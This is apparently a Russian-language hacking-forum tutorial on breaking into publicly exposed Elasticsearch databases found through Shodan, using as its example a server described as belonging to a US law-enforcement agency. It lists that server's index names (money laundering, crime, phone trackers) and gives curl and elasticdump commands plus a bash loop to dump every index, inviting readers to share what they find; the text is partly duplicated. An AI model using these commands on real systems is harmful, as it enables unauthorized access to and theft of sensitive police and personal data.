Привет. Совсем немного времени прошло с того момента, как я запилил первую тему, однако время уже пришло. Я рад представить пару трюков, которые помогут вам легко ломать публичные базы данных Elasticsearch.
Недавно я решил заглянуть в Shodan и поискать там открытые ES базы в US. На начальных этапах нашлось около 3000 публичных открытых серверов. Вот как я просматриваю их. Все команды выполняются с использованием GET/PUT через Curl. Порт Elasticsearch обычно 9200.
Для примера я взял базу некого правоохранительного агенства (или полицейского участка, я хз)
IP:
Получение индекса:
Пример ответа:
Каждая из этих строк совпадает с таблицей MySQL.
Чтобы сдампить данные, мы используем Elasticdump (плагин для NodeJS). Этот способ не распространен из-за «$» в имени индекса.
Мы должны избегать любых специальных символов при дампе индекса.
Важно: Увеличение лимита более 10000 в секунду вернет вам ошибку.
Теперь у нас есть JSON-файл с индексом баз данных!
Просмотр схемы индексов:
Для просмотра схемы индексов добавьте _mapping к нашей команде.
Дампинг всех индексов сразу:
Что если мы хотим сдампить все и сразу? А тут нам нужно немного BASH-магии :3
Важно: Дампинг всех индексов не будет работать, если имя индекса содержит специальные символы, которые необходимо экранировать. В 99,9% случаев это не так.
Наслаждайтесь. Если найдете интересный стафф, то пинганите меня :3
Недавно я решил заглянуть в Shodan и поискать там открытые ES базы в US. На начальных этапах нашлось около 3000 публичных открытых серверов. Вот как я просматриваю их. Все команды выполняются с использованием GET/PUT через Curl. Порт Elasticsearch обычно 9200.
Для примера я взял базу некого правоохранительного агенства (или полицейского участка, я хз)
IP:
Код:
**.70.245.182
Получение индекса:
Код:
curl -X GET "http://**.70.245.182:9200/_cat/indices?h=i"
Пример ответа:
Код:
money_laundering$identification$59a861fb211fe$59a86769e375e
crime$vehicle$59c403c05abd7$59c40458a7ff6
crime$person$5ae8a171460cb570482420$5ae8a1c772c75169861113$2018-05-01_17_49_57_500000
money_laundering$dcn$59a861fb211fe$59a864d5af2a6
tracker$phone_from$59a8c203df4a8$59a8c428b2778
tracker_new$phonefrom-phoneto$59ce805c0d169$59ce829bd53d3
cdm_new$device_to_event$59bc094bee975$59bc0af6319c1
tracker$transaction-org_for$59a8c203df4a8$59a8c78446ff0
tracker_new$address_suspect$59ce805c0d169$59ce80f3293a8
money_laundering$subject-address$59a861fb211fe$59a86d55e136e
money_laundering$home_phone$59a861fb211fe$59a869f55f616
money_laundering$dcn-subject$59a861fb211fe$59a86ce377d7e
Каждая из этих строк совпадает с таблицей MySQL.
Чтобы сдампить данные, мы используем Elasticdump (плагин для NodeJS). Этот способ не распространен из-за «$» в имени индекса.
Мы должны избегать любых специальных символов при дампе индекса.
Код:
elasticdump --input=http://**.70.245.182:9200/tracker\$phone_from\$59a8c203df4a8$59a8c428b2778 --output=Trackers-Phone.json --limit=10000
Важно: Увеличение лимита более 10000 в секунду вернет вам ошибку.
Теперь у нас есть JSON-файл с индексом баз данных!
Просмотр схемы индексов:
Для просмотра схемы индексов добавьте _mapping к нашей команде.
Код:
curl -X GET "0.0.0.0:9200/indexname/_mapping"
Дампинг всех индексов сразу:
Что если мы хотим сдампить все и сразу? А тут нам нужно немного BASH-магии :3
Код:
indices=$(curl -X GET "http://**.70.245.182:9200/_cat/indices?h=i");for INDEX in http://**.70.245.182:9200$indices;do elasticdump --input=**.70.245.182/$INDEX --output=$INDEX --type=data; done
Важно: Дампинг всех индексов не будет работать, если имя индекса содержит специальные символы, которые необходимо экранировать. В 99,9% случаев это не так.
Наслаждайтесь. Если найдете интересный стафф, то пинганите меня :3
Последнее редактирование: